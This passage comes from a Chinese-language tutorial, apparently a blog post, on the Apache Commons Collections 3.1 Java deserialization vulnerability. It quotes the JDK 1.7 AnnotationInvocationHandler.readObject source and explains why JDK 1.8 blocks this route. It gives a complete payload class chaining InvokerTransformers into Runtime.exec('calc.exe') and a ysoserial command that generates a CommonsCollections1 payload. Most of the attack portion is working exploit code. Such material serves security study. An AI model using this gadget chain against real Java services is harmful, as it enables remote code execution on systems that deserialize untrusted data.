386 | //序列化
387 | FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
388 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
389 | objectOutputStream.writeObject(transformedMap);
390 | objectOutputStream.close();
391 |
392 | //反序列化
393 | FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
394 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
395 | Map result = (TransformedMap)objectInputStream.readObject();
396 | objectInputStream.close();
397 | System.out.println(result);
398 |
399 | Map.Entry onlyElement = (Map.Entry) result.entrySet().iterator().next();
400 | onlyElement.setValue("foobar");
401 | ```
402 |
403 | 该情况可以触发,但是现实中往往不一定存在把数据反序列化后,再调用其中TransformedMap的Map.Entry类型的setValue方法
404 |
405 | 在java中,自带的类中还有一个类叫做`AnnotationInvocationHandler`
406 |
407 | 该类中重写的readObject方法在被调用时会将其中的map,转成Map.Entry,并执行setValue操作,那么能把`TransformedMap`装入这个`AnnotationInvocationHandler`类,再传过去,就可以不用考虑之后代码是否执行`setValue`就可以直接利用漏洞了
408 |
409 | ```
410 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
411 | var1.defaultReadObject();
412 | AnnotationType var2 = null;
413 |
414 | try {
415 | var2 = AnnotationType.getInstance(this.type);
416 | } catch (IllegalArgumentException var9) {
417 | throw new InvalidObjectException("Non-annotation type in annotation serial stream");
418 | }
419 |
420 | Map var3 = var2.memberTypes();
421 | Iterator var4 = this.memberValues.entrySet().iterator();
422 |
423 | while(var4.hasNext()) {
424 | Entry var5 = (Entry)var4.next();
425 | String var6 = (String)var5.getKey();
426 | Class var7 = (Class)var3.get(var6);
427 | if (var7 != null) {
428 | Object var8 = var5.getValue();
429 | if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
430 | var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
431 | }
432 | }
433 | }
434 |
435 | }
436 | }
437 | ```
438 |
439 | setValue的点在这一行
440 |
441 | ```
442 | var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
443 | ```
444 |
445 | 最后利用的payload如下
446 |
447 | ```
448 | package Serialize2;
449 |
450 |
451 | import org.apache.commons.collections.Transformer;
452 | import org.apache.commons.collections.functors.ChainedTransformer;
453 | import org.apache.commons.collections.functors.ConstantTransformer;
454 | import org.apache.commons.collections.functors.InvokerTransformer;
455 | import org.apache.commons.collections.map.TransformedMap;
456 |
457 | import java.io.*;
458 | import java.lang.annotation.Target;
459 | import java.lang.reflect.Constructor;
460 | import java.util.HashMap;
461 | import java.util.Map;
462 |
463 | public class ApacheSerialize2 implements Serializable {
464 | public static void main(String[] args) throws Exception{
465 | Transformer[] transformers = new Transformer[]{
466 | new ConstantTransformer(Runtime.class),
467 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
468 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
469 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
470 | };
471 | Transformer transformerChain = new ChainedTransformer(transformers);
472 |
473 | Map map = new HashMap();
474 | map.put("value", "sijidou");
475 | Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
476 |
477 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
478 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
479 | ctor.setAccessible(true);
480 | Object instance = ctor.newInstance(Target.class, transformedMap);
481 |
482 | //序列化
483 | FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
484 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
485 | objectOutputStream.writeObject(instance);
486 | objectOutputStream.close();
487 |
488 | //反序列化
489 | FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
490 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
491 | Object result = objectInputStream.readObject();
492 | objectInputStream.close();
493 | System.out.println(result);
494 |
495 | }
496 | }
497 | ```
498 |
499 | 为什么jdk为1.8就无法这么利用了,看jdk1.8的`AnnotationInvocationHandler`源码,readObject中在jdk1.7的`setValue`已经变成了
500 |
501 | ```
502 | var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
503 | ```
504 |
505 |
506 |
507 | ```
508 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
509 | GetField var2 = var1.readFields();
510 | Class var3 = (Class)var2.get("type", (Object)null);
511 | Map var4 = (Map)var2.get("memberValues", (Object)null);
512 | AnnotationType var5 = null;
513 |
514 | try {
515 | var5 = AnnotationType.getInstance(var3);
516 | } catch (IllegalArgumentException var13) {
517 | throw new InvalidObjectException("Non-annotation type in annotation serial stream");
518 | }
519 |
520 | Map var6 = var5.memberTypes();
521 | LinkedHashMap var7 = new LinkedHashMap();
522 |
523 | String var10;
524 | Object var11;
525 | for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
526 | Entry var9 = (Entry)var8.next();
527 | var10 = (String)var9.getKey();
528 | var11 = null;
529 | Class var12 = (Class)var6.get(var10);
530 | if (var12 != null) {
531 | var11 = var9.getValue();
532 | if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
533 | var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
534 | }
535 | }
536 | }
537 |
538 | AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
539 | AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
540 | }
541 | ```
542 |
543 | ysoserial的包里面也有commons-collectons-3.1的payload,它利用的是jdk中的BadAttributeValueExpException这个类重写readObject来实现的
544 |
545 | ysoserial的使用方法
546 |
547 | ```
548 | java -jar ysoserial.jar CommonsCollections1 calc.exe > 1.txt
549 | ```
550 |
551 | 把1.txt 里面的内容反序列化化即可触发生成calc.exe的命令
552 |
553 |
554 |
555 |
556 |
557 | https://www.cnblogs.com/ysocean/p/6516248.html
558 |
559 | https://www.freebuf.com/vuls/170344.html
560 |
561 | https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
562 |
563 | https://www.cnblogs.com/luoxn28/p/5686794.html
564 |
--------------------------------------------------------------------------------